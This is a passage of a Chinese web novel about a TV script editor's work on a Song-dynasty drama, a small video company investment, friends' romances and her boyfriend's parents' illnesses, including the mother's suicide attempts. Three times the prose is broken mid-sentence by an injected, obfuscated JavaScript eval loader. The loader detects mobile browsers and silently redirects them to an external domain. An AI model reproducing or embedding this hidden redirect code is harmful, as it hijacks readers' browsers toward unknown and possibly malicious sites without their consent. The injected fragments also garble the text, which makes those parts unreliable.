按照行规,中间人提二三成是寻常事,五成也有之,这50万杨树自然拿得,但她心里总有点膈应。 50万看着是不少,但比起陈樟团队获得的,只是一小部分,章嘉敏和丁盼兮都说杨树抽点成,合情合理,但不约而同骂了她:“前任的钱拿得,跟现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091476|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任说不得。你是傻的啊?面对面还好说一点,电话里怎么说得清楚?” 杨树被两人骂得晕头转向,后悔了。她和秦朗约定过不向对方隐瞒任何事,但有些事,可能的确不该现在说。如果秦朗在身旁,误会也不要紧,脑袋拱进他怀里蹭一蹭,就能把话说清楚,眼下相隔千里,说多错多。 《北宋宫事》战争戏删除了很多,河北草原戏进入杀青倒计时。杨树又开始失眠,很想一瓶酒灌下去,倒头就睡,但无论如何都睡不着,只得坐起来,看上几集祁宁演的革命剧。 冬夜越发寒凉,每天都有演员请大家吃烤羊,围着院子里的火堆谈谈天。杨树总是搬个小马扎烤火,祁宁下了戏,搬个马扎坐过来,一脸愁苦:“又得找你开导我了。” 杨树扭头看他:“说。” 每部剧开播前,剧方都会找专业剧评人约稿,剧评人提供有偿服务,但在吹捧之外,他们也有自己的想法。革命剧播到三分之一,专业剧评人为祁宁奉上好评,难得有个年轻演员接得住老戏骨们的戏,他们都夸他未来可期。 革命剧男主角用的是37岁的演员,他是算中生代里的翘楚,论咖位顶多是二线,但演技有保障。如今所有剧都想争取年轻观众,男二号是演偶像剧出身,准一线,是剧里最红的演员,剧评人却只夸男主角和祁宁,也提了男三号和女主角两句,对男二号只字不提,粉丝们闹脾气了。 男四号而已,居然抢了其他人的风光,绝对被潜规则了,绝对是他的团队给足了营销费,才引来一片盛赞,可就他那个上演不伦恋的角色,有什么好夸的?——宁粉一看到这种话就来气,祁宁和男二号同龄,但表现有目共睹,剧评人花了两段话夸他,碍着别人眼了? 宁粉们纷纷写剧评,长篇大论夸二少爷和五姨太的关系对应《雷雨》的畸恋,是大家手笔云云,结果受尽嘲笑,男四号也敢碰瓷经典戏剧人物?祈砚初连周萍一根手指都不如。 男二号是偶像明星,粉丝比宁粉骁勇善战,但越是这样,宁粉们就越悲壮,花钱买水军也得把对方按倒在地。男主角都没说什么,男二号横什么横,技不如人就提升演技,嫉妒打压别人算什么?他们嘲笑祁宁演男四号,可他现如今演上男一号了,倒是这位偶像不进则退,地位危矣。 祁宁到粉丝群里喊话:“我被骂得多了,不是什么事,没必要浪费时间。你们不要回击,也不要再做数据控评,我能演戏就行。” 个别粉丝当即退群,留下的粉丝齐刷刷劝祁宁:“你赶紧挑剧本接男一号,跑去演《北宋宫事》男N号,你是怎么想的?人往高处走,演男四号是当时没办法,不能越活越回去了吧?白杨连着演了三个男一号了,比你上进多了。” 谁也不服谁的管,祁宁长长呼出一口气:“接个代言他们也嫌档次低,难道我不想接高级点的,接得着吗,是我不上进吗?” 杨树看看他,头饰还没卸就跑来了,但这个束发高冠的造型很清爽,尤其是侧面看,清冷峻拔,很符合史实里“姿貌雄毅”的描述,她对他脑袋做个开枪的手势:“你三个月能挣这么多钱,一般粉丝挣得着吗,管他们说什么呢。” 这姑娘报复心有点重啊。祁宁开怀大笑,转身扑过去抢了一串鸡翅递给她:“总是你安慰我,跟我说说你呗,别老一个人闷着。” 杨树吹吹鸡翅,先喝酒,祁宁等着她开口,她喝了几口酒,转头看他,火光下,他目光灼灼,像火在燃烧,神态倒是含着笑意,她自嘲地笑,说了那50万的事,她做人小家子气惯了,50万,愁了好几天。 这人连一件小礼物都推三阻四,50万当然会让她夜不能寐,祁宁想想问:“所以你的顾虑在于,既想拿点钱,又不想复合,还担心秦老师生气?” 杨树攥紧了拳:“你能不能不要剖析得这么细致,我不要面子的吗?” 祁宁看着她,目光闪动,忽然问:“你信得过我吗?” 杨树给他一个“你有病”的眼神,祁宁说那就好办,在苦水时,他看到农民喜爱用智能手机看短视频,遂让表弟开了一个小公司,主营视频剪辑和后期修图,目前小有盈利,想扩大规模。杨树信得过他的话,就把50万投到公司,本金是陈樟的,盈利归她,没盈利就退还本金,若公司做大就再议。 祁宁有几个粉丝给他修的照片很让他很满意,比工作室的宣传人员厉害,他虽然不愿让粉丝和他的生活太近,但这样的人才值得网罗。还有些做视频剪辑的粉丝,她们没受过专业训练,剪出来的东西很有章法,有了杨树这50万,他自己再投点钱,就能把这些人都招为己用。 未来短视频应该会更受欢迎,做个公司养着他们,再找几个资深专业人士带一带,是很好的营销宣传人才,影视业已离不开营销力量。杨树夸祁宁有头脑,祁宁说:“既然你加入我和表弟的公司,干脆注册个新公司吧,法人是我表弟,你当个网银操作员,随时监测账户。” 杨树找陈樟商量,陈樟全凭她做主,反正是闲钱,杨树说:“我喜欢钱,也喜欢秦朗,跟你还是谈生意吧。” 陈樟不说话,过了一下,摁断通话。杨树招揽张程程,但张程程说祁宁和白杨是竞品,身为白米,她不给祁宁打工。 杨树告知投资决定,秦朗说好,还说他真的没生气,没吃醋,中介费是杨树该得的,影视业走进了寒冬,她能多条路,他高兴还来不及。杨树谈起后天转战去无锡拍戏,不多一会儿,那边没了声响,秦朗睡着了。 跟杨树道别后,祁宁给表弟打电话:“别老玩游戏了,跟你说的那个视频公司,赶紧开起来,一天时间都别耽误,我马上给你转钱。” 71. 第 71 章 按原计划,拍完草原战争戏,再回横店补拍几十场祁宁参与的宫廷戏,但战争戏比原定时间提前半个多月杀青,临时租不到横店的场地,姚澈把无锡的戏份提前,那边各方面都宽裕得多。 剧组分批次转去无锡,主要拍摄女一号刘娥入宫前的岁月,还有祁宁饰演的赵元僖等人的戏份。 主场景是美术组搭的,对大宅府邸和街头巷尾都做了很好的还原,还涉及到当地几座园林和寺院等,极尽市井风貌。刘娥之所以成为后来那个喜用帝王服饰,一生擅权的太后,她的民间生涯是很重要的一笔。 杨树在黎俏这边待的时间多些,偶尔去祁宁那边看看戏。饰演赵元僖爱妾张氏的演员不红,但长得颇美,有双勾魂摄魄的眼睛,身材绝佳,她跟祁宁演起对手戏很有感觉,依偎着讲些小话,或是交颈而卧,俨然民间的柴米夫妻。 张氏是赵元僖的贴身侍女,梳头功夫出色,从少年起两人就相依相伴。在赵元僖苦恼于次子身份时,张氏总是鼓励他,安慰他,可她父亲只是□□品小官吏,宋太宗将团练使的女儿李氏指给了赵元僖。 赵元僖很不情愿,但他知道父亲的苦心,兄长刚被废黜,他需要倚仗岳父势力巩固地位,回府后,面对张氏一双盈盈泪眼,他愧疚地拥她入怀,被她推开怒骂。他们争吵,和好,和好,争吵,说尽最刻毒的话,也说尽最温柔的话。 夫人李氏端庄守礼,但欢喜和烦闷的时刻,赵元僖只去见张氏。张氏很想要个孩子,但再一次流产,雨滴从檐角滑落,窗棂边,青翠的竹叶摇曳,赵元僖抱着张氏看雨,这是两人第三次失去孩子。 命运侵袭时,世间哪个痴儿女不是雨打孤舟。杨树从监视器里看两人的微表情,她完全相信这是一对结发夫妻,在深深的绝望里相爱。 史载,赵元僖无子无女,侄子宋仁宗将一个皇室宗亲出继给他为孙,但那时候,赵元僖已去世多年,死时年仅二十六岁。 这场戏拍得很舒缓空灵,拍完后,导演和摄影师等人都鼓掌,祁宁转头看到杨树,连忙过来,得意地问:“这场我演得好吗!” 杨树慷慨地竖起两个大拇指,问:“公司名字定了吗?” 表弟取了几个,都有重名的,公司后面几个字是“创意设计”,祁宁问:“树宁行吗,还是宁树?” 杨树哈哈笑:“你以为是组CP啊。” 祁宁小声嘀咕:“也可以是啊。”然后抢在杨树瞪他之前跑开了,下一场是赵元僖得知兄长赵元佐纵火烧宫的戏,就一个听说后的反应,再到让亲信去召见谋臣的过场戏,他演了六条。 一演完,祁宁就又跑到杨树跟前,兴奋道:“国旗飘扬怎么样!我们名字都在!” 杨树笑得坐不稳:“祁宁你怎么这么可爱啊。” 祁宁凑过脸,但杨树低头忙起来,他悻然走开,去听导演讲戏:“说人可爱不捏脸,无耻。” 公司的名字定下了,大小猫创意文化公司。本来按杨树的玩笑话,就叫大猫,祁宁说公司不是他一个人的,硬是塞了一个小字,兴颠颠去找人做LOGO。 圣诞节,秦朗送了花,但匆匆几句话就挂了电话。杨树对花发愣,宁可两个人多说说话,而不是例行公事。情侣之间如果不认真交流,感情只会变淡,消减,她很担心秦朗已被母亲的疾病压垮,盼着春节能早一点到来,无论如何,两个人的问题需要面对面的沟通。 2018年在动荡和惶然中结束了,跨年夜,丁盼兮拉上朱青和章嘉敏来看杨树。从2015年起,丁盼兮每年都和杨树一起跨年,今年也不想例外。 章嘉敏带上了女儿,小孩子在园中玩耍,朱青站在垃圾桶边上抽烟。章嘉敏远远看到,有点喟叹,跟朱青认识多年,但从没见她跟谁恋爱,她介绍过,朱青拒绝了,她说享受不到恋爱的乐趣,那对她而言是浪费时间,跟人建立长久的情感关系她嫌烦。 说这话的时候,朱青神色很平静,跟受过情伤的人不一样。当时章嘉敏不理解,以为她有些偏激,但现在她觉得,很多时候是很烦。 回京陪读小半年,章嘉敏身心轻松,丈夫和公婆好也罢,歹也罢,像跟她无关了,各人的人生各人担,除了自己和女儿,她不想再对任何人负责。 朱青的话依然不多,吃完饭,众人散步消食,她安静地听众人闲谈,慢慢走在江南的冬夜里。章嘉敏的女儿想吃路边小吃,杨树、丁盼兮和章嘉敏都停下脚步,朱青朝前走了几步才发觉,停在原地等着她们,一手点烟,一手拢住火苗,深深吸一口,吐个闲适的烟圈。 杨树看过去,这么多年,朱青始终一个人,她想也许朱青是孤寂的,但也许并不。如果她不曾心挂秦朗,可能也能像朱青这样,毫无杂念地做自己想做的事。意识到这一点,她有些惘然,如果和秦朗走不下去,她不想再尝试和别人开始。 丁盼兮认为杨树想多了,她每段恋情出问题的时候,都以为此生绝情弃爱,但没多久,一颗心就再度活络。 丁盼兮现任男朋友是律师,两人谈恋爱快半年了,杨树虽然没见过律师,但岑川这个名字被丁盼兮翻来覆去说给她听,杨树对他俩的恋爱经过了如指掌。 夏天的时候,家里只剩丁盼兮一人住。有个大雨天,她加班到深夜回家,等电梯时,律师来了,穿着连帽黑雨衣,像秦朗爱看的那种罪案片里的冷酷杀手。电梯口只有丁盼兮一人,她竖起了脊背,这人眼生,防着点好。 电梯门开,丁盼兮胆战心惊地走进去,抓紧了伞柄,律师在门口对她做了个“你先走”的手势。电梯合上,丁盼兮留了心眼,随便按了几个楼层,不让人知道她住哪一层。 当时律师刚搬来小区不久,后来,丁盼兮偶尔会在小区看见他,听到邻居喊他岑律师,但不记得他是那个“雨衣杀手”。没多久,丁盼兮有个老同学想打劳动仲裁的官司,她想到律师了,在小区微信群里找到他。 老同学颈椎出了大问题,骨刺压迫神经,行动不太自如,手只能抬到肩膀,脖子不能左右转动,得靠肩膀带动。哪怕38度高温,老同学都得戴围巾,因为风一吹脖子就发硬,他自嘲像缺了油的人工智能。 老同学比丁盼兮高几届,还不到35岁,丁盼兮在同学聚会上见到他,回家就买了架子,把电脑显示器垫高,每天仰头看屏幕,经常锻炼颈椎,她不想以后漫长的人生也得那么捱着。谁知老同学一生也许并没有那么长,他去拜访客户途中,前方突发车祸,他一个急刹车,骨刺把神经顶断,人当场就动不了了。 老同学就此瘫痪了,公司想用半年薪水跟他两不相欠,老同学上有父母,下有幼子,想多为他们争取一点钱。丁盼兮咨询律师,律师接了官司。 两人正式交往后,律师问丁盼兮还记不记得电梯初遇,丁盼兮才知道原来是他。当时,律师看出她很紧张,特地等了下一趟电梯再上。他公司接过一些官司,他知道很多独行女性很警惕身边有陌生男人。 丁盼兮因为弟媳怀孕一事跟家里闹翻,但她妈不死心,经常会找她谈天,十次有八次是催婚。丁盼兮把自己和律师的照片发到朋友圈,家里人评论不一。 妈妈夸女儿总算找了个一看就有点钱的男人,弟弟还记恨姐姐连订婚宴都不参加,结婚宴和孩子的满月酒也不回去,挖苦说有本事就立刻绑住对方去结婚,否则就是玩弄她,以律师的身家条件,想结婚干嘛不找年轻貌美的,丁盼兮31岁了,皱纹都遮不住了。 丁盼兮在弟弟面前嘴硬,但跟杨树说了实话,她和律师相处前所未有地舒服,但她的确有点没安全感,她把脸凑到杨树眼皮下,问:“看看我,有什么变化吗?” 杨树仔细看:“接睫毛了。痒不痒,会不会过敏?” 丁盼兮眯起眼睛笑:“是让你看我的鱼尾纹,是不是很明显?让你们组里的女明星给我推荐一个好地方,我要打针。” 杨树把赵元僖前演员的例子又说了一遍,夸大其词,把丁盼兮吓着了:“那、那先这样吧,我现在还能看,可别弄得不能看了。” 杨树笑她不能被漫画家和牙医绊了两跤就没自信,她很优秀,大大方方去爱便是了。 丁盼兮如今在外企做财务,工资翻番。10月底的时候,漫画家出狱,想尽办法找到她,她带上律师赴约。 律师亮明身份,如果漫画家不放弃报复丁盼兮和杨树,他就一次次把漫画家送进去。漫画家怂了,问丁盼兮:“想着对付我,就找个律师等着我?” 丁盼兮拉黑他了:“因为和他互相喜欢。” 杨树又和丁盼兮挤在一张床上聊到后半夜,元旦当天,律师奉命来见丁盼兮真正意义上的“娘家人”。 律师比丁盼兮大两岁,看着很成熟,言谈也稳重,杨树细细观察两人的相处,她让丁盼兮不必患得患失,以律师的谈吐,即使哪天谈不下去,也不会把事情做得难看,但更有可能,两人能一直走下去。丁盼兮笑靥如花:“你看男人比我准,听你的。” 章嘉敏的女儿想看演员拍戏,杨树带众人入园。祁宁正在候场,立刻来打招呼,杨树一一做了介绍,祁宁认出丁盼兮,再看看她身旁的律师,笑道:“征友成功了。” 去年圣诞节,丁盼兮那张头插白玉簪的照片,祁宁居然还记得。等他去拍戏,丁盼兮嘀嘀咕咕:“我把照片修得我妈都不认得,他一眼就认出我了,你说他盯着那照片看了多久,是不是看得泪流满面?” 杨树皱起眉想了又想,她看过祁宁不少哭戏,但没见过他泪流满面的样子。祁宁演二少爷的时候,突闻父亲死讯,他的演法很隐忍,他跟杨树说导演告诉他,七情上脸是一种演法,但二少爷已不再是当年的轻狂少年,为了体现成长,他的大恸不用大张旗鼓,一颗心静静地碎掉。 祁宁一直记着这句话,演深陷权力漩涡的赵元僖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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元月中旬,剧组回到横店拍摄皇族的戏份,丁盼兮有了好消息,律师向她求婚,想带她回家过年。丁盼兮没答应,她刚转去做财务不久,想再考个ACCA,即国际注册会计师,比她花了两年时间才考过的CPA难得多,她不想被结婚打断节奏。 律师理解丁盼兮,还给她介绍了资源,一家集团筹备上市,丁盼兮作为会计师进入,她以前没做过,律师把自己的一个助理塞给她,专门开小灶辅导。 拒绝求婚,却没把男人赶跑,丁盼兮有点信心了,她给杨树打气,将来大小猫创意文化公司做到IPO的地步,她免费服务。杨树嘻嘻哈哈:“到时候我们一起去敲钟。” 其实杨树心里仍有低落感,丁盼兮和岑川在生活上互相关心,工作上齐头并进,可自己的男朋友已成一只折翼的飞机。秦朗的工作和收入成了禁忌话题,他不提,杨树不问。 柳艳给祁宁发来新剧本,叮嘱他非常时期要珍惜工作机会,不要再挑三拣四,如今还有人投资拍戏就不错了,再说一部戏红不红,经常不是剧本质量说了算。 杨树既忙且心事重,祁宁没烦她,自己下了戏看剧本,但连他都看出剧本烂了,不能接。舒纹突然冒出头,给他发了一个都市情感剧前5集剧本,邀请他演男主角。 男主角是心理专家,睿智冷静,祁宁想尝试一把,找杨树商量。杨树熬夜看完剧本,不难看,但她想搞清楚项目性质,是长夜影视公司自己的项目,还是承接平台的定制剧,这里边有微妙区别。若是前者,剧本相关物料得送去平台审核,业内称为上会,平台有意向了,会派出专人跟进。 左右剧本创作的,将有多方人马,以剧本呈现的风格来看,送到视频网站,哪怕过会,也将面临不小的调整。视频网站的责编普遍年轻化,朱青经手的几个现实题材,都被他们要求改进,务必注重“网感、甜、爽、反转多”。 朱青做的项目大多更适合输送到卫视,相对来说有出路,舒纹的项目也算是卫视较为青睐的题材,但编剧写得较为稚嫩,竞争力不足,杨树让祁宁搞清楚项目的来龙去脉。 祁宁和舒纹聊了一通电话,项目是QE网站囤的IP,聘请舒纹执导,计划反向输送到卫视,实现网台联动。杨树吃了一吓:“她都当上导演了?” 祁宁笑她消息不灵通,自从舒纹跟了长夜影视公司大老板,大老板就让她执导了公司两部小成本的言情剧。虽然还没播,但舒纹在这行混到履历了,是崭露头角的新晋女导演,工作邀约很多。3年过去,她已不再是摸不着影视边缘的新人。 男人是长夜影视公司大老板,女人无数,但舒纹要学历有学历,要长相有长相,颇得他欢心,重要饭局都喊上舒纹。 舒纹把核心资源搞到,就把男人当作啃剩的骨头吐掉了,攀上更有能量的人,奔向她的远大前程。祁宁对项目有点心动,就算卖不到卫视,起码能在QE网站播出,但有天他跟杨树说,项目不能接。 杨树以为他忌惮柳艳和舒纹曾经的情敌关系,但柳艳只讲赚钱,跟谁都能合作,她让祁宁不要接项目,QE网站背后的集团正在调查其高管的经济问题,其中就包括舒纹这个项目。它以2千万买进,QE网站的买手吃足了作者的回扣,就算都吐出来,估计得进去待上几年,他可是买了不少大IP。 《北宋宫事》全面杀青在即,单明玉边拍边剪,杨树睡不着就去剪辑室看素材,姚澈推门进来:“找你有点事。” 72. 第 72 章 小厨房里,姚澈烧水泡面吃,跟杨树深谈。补税给整个行业带来阵痛,短期内恢复不了,公司数个项目都暂停了,未来几年日子注定不好过。 前段时间,KR网站副总裁挖姚澈去做自制剧,只对他汇报。姚澈和钱一诺商谈过,钱一诺很赞成,姚澈是明堂影业的股东,去KR网站有利无害。 平台吸引会员、引入流量的关键是好内容,这几年他们一直在烧钱购片,但究其根本,还得自己产出,才能掌握对内容的主控权。各平台都在布局自制剧业务,KR网站是《战朝阳》的播出方之一,副总裁去年就几次游说姚澈加盟,但姚澈此时才下定决心。 平台自产自销,做出的戏不用再愁发行,姚澈跳过去有独立的工作室,既能承制网站的IP改编,也能和明堂影业深入合作,这几天,她和KR网站的条款谈得差不多了。 姚澈在明堂影业每年做两三个项目,去KR网站做工作室,要管理的项目更多,她的几个嫡系都跟她走,但明堂影业仍要运转,她不能带走更多人。杨树从工作能力到态度都被她看好,她邀请杨树给她当制片主任。 制片主任是导演和制片人的桥梁,算姚澈的副手,从设置计划到成本核算,从选择演员到审核布景设计,各方面都得负责。姚澈开出的薪酬福利比在明堂影业优越得多,但杨树对做具体内容更有兴趣,可惜姚澈工作室的剧本总监已定,该团队人员齐整。 KR网站多以拍摄他们囤的IP为主,但在明堂影业能自主策划选题,创作上自由度高些,杨树推说认真考虑,没有应承。 姚澈在明堂影业得做交接,去KR网站最快是3月的事,她让杨树不急着做决定,但话说得很明确:“制片主任得帮我管钱,我是真的很需要你。” 事关重大,杨树和亲友们商议,秦朗说:“你懂戏,还正直,换成我,我也带你走。我觉得这是升职,更方便你抓内容。” 丁盼兮说:“谁还能比你可靠?我估计你把那个贪钱的助理开掉,你就进入她考察范围了。你还能帮她挡酒,一流的副手啊。” 章嘉敏说:“去了平台,做的戏就不愁发行了,也不用拼命应酬了。” 朱青说:“视频网站多点像你这样的人,我的项目上会,就不用总是听到可笑的意见。” 亲友们都觉得去平台是更好的选择,但都让杨树遵循自己的想法。杨树思前想后,仍拿不定主意。网站烧钱太甚,亏损很惊人,做剧其实也不太自由。施严那部赛车戏就没出来,他当时让霜晨月对标《头文字D》和《速度与激情》,后来连换几个编剧,写出来的前5集被上司打回:“偶像剧,写那么多赛车干嘛?” 施严不承认是自己定位错误,推给网站在控制成本,但像他这样的人把住了网站要塞,共事难免憋屈。杨树更想待在明堂影业,剧本总监詹忆和大老板钱一诺都让她心安,尤其是钱一诺,他懂剧本,创作观上是相似的。 话又说回来,姚澈言之有理,一场税改,让行业陷入瘫痪,明堂影业在传统影视公司排得上号,都疲于应付,公司今年上半年拟开机的项目都搁置了,何时恢复不得而知。 再怎么热爱做内容,如果它播不出来,就失去意义。杨树想不出所以然,索性不想,打开平板电脑,阅读小说《暗昼》。刚才谈完话,姚澈发给她评估,是老熟人推荐来的。 《暗昼》是刑侦题材,28万字,叙事节奏特别好,简洁冷峻如短刀,杨树看个开头就被吸引了。 《北宋宫事》杀青当天只安排了两场戏,杨树终于不忙了,喝着林礼璋粉丝探班送的咖啡,把《暗昼》看完。它没在网站连载,但双男主设置,警匪关系,性格分明,案情曲折,潜力巨大。 头疼的在于篇幅,拍成院线电影投资大,过审难,拍地下电影看的人少,是不是能拍成短剧?杨树拧眉思索,祁宁穿着戏服跳过来:“杀青宴准备了芝士蛋糕!” 杨树视线仍落在屏幕上:“说得就跟你会吃一样。” “你喜欢呀。”祁宁蹲下来,往平板电脑上看一眼,“剧本吗,这么好看?” 杨树顺手把文档发给他:“是小说,很好看,别外传。我去找姚总聊聊。” 姚澈也认为《暗昼》值得一做,她想拍成12集网剧,更符合刑侦故事的气质,去年有几部刑侦网剧爆发,证明了这一市场的稳定可观。 姚澈打算用《暗昼》和KR网站合作,明堂影业做剧本,她码局把它拍出来,在KR网站独播,杨树是当仁不让的责编。 杨树向秦朗报喜:“看了《暗昼》吗,我又是责编哦,保证做得让你这个罪案剧迷心服口服。” 视频里,秦朗露出笑容:“我什么时候没服过你?” 每天仍视频,但许久没像现在这样,说上几句跟兴趣爱好相关的小废话了,杨树跟秦朗闲聊,原著作者谢绝改编自己的小说,她想让章嘉敏当编剧。 普通文学爱好者想当编剧,摸不着门路,通常得拜山门递名帖,方雯是职业编剧,由她当引路人,章嘉敏就正正式式入行了。 杨树正说得开心,祁宁晃来,先冲视频里的秦朗打个招呼:“秦老师好。”再问杨树,“怎么还不去参加杀青宴?” 杨树说她不去,得跟方雯远程聊聊《暗昼》,确定她的意向,祁宁失望:“那我给你拿块蛋糕。” 杨树说:“不吃,自己玩去。” 大猫对着秦朗挥挥手,颠儿颠儿地跑了,秦朗笑了笑,跟杨树讨论了一会儿《暗昼》情节,等方雯和章嘉敏各自接孩子放学回家,杨树按了视频,跟她俩聊起《暗昼》。 廊下,祁宁远远看向杨树。自己把脸凑到秦朗面前了,她也丝毫不慌乱,他俩的感情如此坚不可摧吗?不对,前男友给的50万中介费,她担心男朋友误会,觉都睡不好,眼下甜甜蜜蜜,不过是回光返照。她说过,不要急,好的,不急,等她看到他。 《北宋宫事》杀青后,祁宁就近回了父母家,趁着没接拍新戏,多跟亲人们待一阵子,杨树和大部队返回北京。 回到阔别数月的公司,杨树发觉部门的人都很闲,公司忙着补税,詹忆不催进度,大家便都不忙了,由着编剧慢慢写项目。 杨树召开《暗昼》剧本讨论会,这部短剧将是姚澈带去KR网站的第一个项目,不用操心发行问题,涂芊闲来无事来旁听。 熊好好和制片主任都建议把《暗昼》做成耽美向,一警一匪,很符合耽美题材常见的“相爱相杀”设定。 去年6月份,一部双男主设置的耽美剧《镇魂》爆红,一举把两个主演推上了流量的地位。耽美题材受众很稳定,但影视比网文概念滞后,各家影视公司和平台视为奇特现象,狂买了一批耽美小说。 杨树觉得《暗昼》是纯剧情向,搞成兄弟情,打擦边球意思不大,朱青说:“好好一个故事,掺那么多有的没的干嘛。” 影视行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091478|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 业都半死不活了,公司这几个理想主义者还整天忧国忧民,涂芊很不客气:“你们往网站多看几眼就知道了,现在的小孩都在追耽美,一个人就能抵得上一百个水军,特别热情,嗷嗷叫,巴不得跟全世界安利。你做刑侦剧,看客看了就看了,连个弹幕都不给你发,发弹幕也是挑刺,挑你逻辑硬伤。你做点东西,连一点回应都没有,有劲吗?” 杨树说:“现在的娱乐方式这么多,只给爱叫唤的人做剧,国产剧哪能再繁荣起来?” “扯。”涂芊让助理丢出一份调查报告,国内最大的视频网站都给出了用户画像,最主流受众是“三低”女性,即低龄低知低收入,所以古言现言等工业糖精剧才是采购重点。 根据钱一诺的三七理论,有三成可以做优质内容,不求回报,涂芊点了朱青的名,朱青每个项目都只冲着审美高的观众去,这是在为难她,因为审美高的观众不愿意为国产剧浪费时间。 朱青又把涂芊噎得翻白眼:“你为什么觉得,我们就该妥协,该顺从?” 杨树不知道用户画像是谁画的,就算她们是主流观众,但越低龄低知越需要引导。可是詹忆也说,什么样的用户决定了什么样的内容为主流,公司和几大数据公司都有合作,工业糖精剧的确受人追捧,女孩们天天追,天天跟人推荐,用很多感叹号强调它们多好看,谁做剧不想得到这种热情如火的呼应? 杨树笑起来,是的,她很羡慕,但偏成熟的观众,才能真正看懂你在故事之外的表达。她做内容,不奢求门庭若市,虽然她也想,但观众的懂得,才更让她有成就感,当然,如果他们肯多动动手指发发声,让主创人员看到就更好了,可这强求不来。 姚澈认为没必要做耽美向,就做规整的刑侦剧。编剧方雯手上有新项目,剧本大纲交给章嘉敏写初稿,打个底子再由方雯修改。 这个春节前夕,影视业的普通员工史无前例地清闲,但年终奖跟去年持平,据说领导层担心员工对公司失去信心,跳槽去视频网站,他们正大肆挖人。 杨树记挂秦朗,连年会都没参加,请了年假去湖南过年,这次能待得稍微久一点。当今社会通讯发达,但很多事须得见面才能聊开。 下了飞机,杨树叫车去秦家。碰面后,她发现秦母的状况更差了,看上去竟像老妇,整个人陷在轮椅里,双眼很涣散,再看秦父,他走路一拐一拐,连说话都含糊,杨树大惊,秦朗勉强地笑:“所以不能去接你。” 秦朗压根没提过他爸的身体也不行了,杨树似乎明白他失去倾诉欲的原因了。秦朗做饭时,杨树陪着秦家父母说话,基本是她说,二老听。杨树捡些好话说,吃完饭,她抢着去洗碗,秦朗跟进厨房,道出原委。 去年9月,父亲突发脑梗,一直在医院治疗,上周护工回乡下过年,秦朗才把父亲接回家。 父亲左半身多处活动受限,舌根不听使唤,意识也受损,跟他说话,他基本都理解,但已然看不懂文字,需要重新学。 杨树不用再问秦朗为何总在电话里沉闷少语了,她用力抱住他,却闻见他身上的烟味,心中一恸。秦朗以前是不抽烟的,但父母都病了,女朋友还远在他乡,他无以排解。 杨树住的客房被秦朗打扫得干净,床品是新换的,秦朗买了她喜欢的熏香。晚上忙完,等二老都睡了,秦朗进来跟杨树交底,他沉重的生活清晰地摊在杨树面前,到了该分手的时候了,爱并不是人生的惟一。 73. 第 73 章 母亲去年做完手术,预后很差,情绪更差,秦朗贴身照顾,母亲看起来好了些许,但秦朗心挂杨树,她都看在眼里。 儿子放不下女朋友,却不能长相守,秦母深感自己拖累了一家人,更痛恨余生将活成一个废人,病痛折磨得她万念俱灰,把医生开的安神药物一口气全吃了。 幸好医生一次不多开,母亲只吃了两盒14颗的量。她醒后,秦朗弄了一张折叠沙发在她床边,寸步不离地守着,劝母亲替他想一想,既然他从北京回来,就做好了长期战斗的准备,母亲自杀,是想让他从此活在内疚里吗? 母亲说:“我不在了,我解脱了,你和你爸也解脱了。” 秦朗说父母是他的亲人,不是负担,母亲说:“我不能害得你跟小树分手。” 秦朗说杨树不是这样的人,但母亲既要忍受生理神经损伤造成的病症痛苦,还得忍受心理上的打击,她对未来很绝望,对儿子的内疚更让她一心求死。 等秦朗稍微放松警惕,一个夜晚,等秦朗睡着,母亲一步步蹭到窗口。秦朗惊醒,他母亲双手已撑到了窗台上,他急得大呼:“妈,妈!” 另一间房的父亲从睡梦中醒来,跳下床看动静,高血压导致脑梗,一下子就倒下了。秦朗好容易把他妈拽回来,他爸半边身体瘫了。 杨树每天都和秦朗保持联系,但秦朗每天都忙于照顾他妈,联系医院给他爸做复健恢复,他才知道人老了到底有多悲凉——当一个女人无法给自己擦身体时,当一个男人无法站着小便时。 父亲被送进医院做康复训练,由护工看顾,秦朗定期推着母亲去看他,却看到爸爸想把手机放进口袋里,就这样一个很小的动作,都很艰难才能完成,而且还对不准口袋,要靠触觉摸着放。 秦朗的痛苦和虚妄感交织,人终归有一死,但死前如此凄凉地熬年头,人生何其虚无。他看着父亲,仿佛在看几十年后的自身,他深知这是每个人都必须走的路,但怎么就这么快、这么莫名其妙就看得真真切切? 失眠如影随形,但还得极力打消父母的厌世感。以前,饭桌上只有父子两人时,时常相对无言,但父亲脑梗后,秦朗常常找他说话:“我不知道小树能跟我走到哪天,但你们不活了,我怎么办?我就一个人了。爸,妈,你们得帮我,尤其是爸。你们是病人,也好过只剩我一个人。” 大脑和肢体失去联系,带来巨大痛苦,父亲想为儿子好起来,磕磕巴巴地练习行走,秦朗心痛如绞,大富大贵已不可得,他接受自己是普通人的命运,但连家人都平安健康竟已是妄想。 人难免受到情绪支配,秦朗逐渐失去交流的兴致,杨树工作压力大,他何苦再雪上加霜,说了又如何。 亲戚们来探望秦家父母,都很心疼秦朗,总会抱怨几句,有女朋友就跟没有一样,拖下去误人误己,趁早分手,找个身边的姑娘,还能给他替替手。秦朗抽着烟说:“女朋友不是当保姆用的。” 